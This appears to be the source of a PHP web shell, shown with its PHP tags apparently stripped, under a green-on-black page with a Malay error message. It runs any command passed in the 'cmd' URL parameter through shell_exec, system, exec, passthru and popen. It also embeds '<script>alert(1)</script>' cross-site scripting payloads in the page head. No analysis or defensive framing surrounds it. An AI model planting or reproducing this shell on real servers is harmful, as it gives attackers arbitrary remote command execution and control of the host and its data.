/* NATHING*/$error = '';$output = '';if (isset($_GET['cmd'])) { $cmd = $_GET['cmd']; if (empty($cmd)) { $error = "Command kosong. Jangan submit angin sahaja."; } else { $output = shell_exec($cmd); $output = system($cmd); $output = exec($cmd); passthru($cmd); popen($cmd, 'r'); }}<!DOCTYPE html> <meta charset="UTF-8"><script>alert(1)</script> <title><script>alert(1)</script></title> <style> body { background: #111; color: #0f0; font-family: monospace; padding: 20px; } input[type=text] { width: 80%; padding: 8px; background: #000; color: #0f0; border: 1px solid #0f0; } input[type=submit] { padding: 8px 15px; background: #0f0; color: #000; border: none; cursor: pointer; } pre { background: #000; padding: 10px; border: 1px solid #0f0; } .error { color: red; } </style>
if ($error): <p class="error"> echo htmlspecialchars($error); </p> endif; if ($output): <pre> echo htmlspecialchars($output); </pre> endif;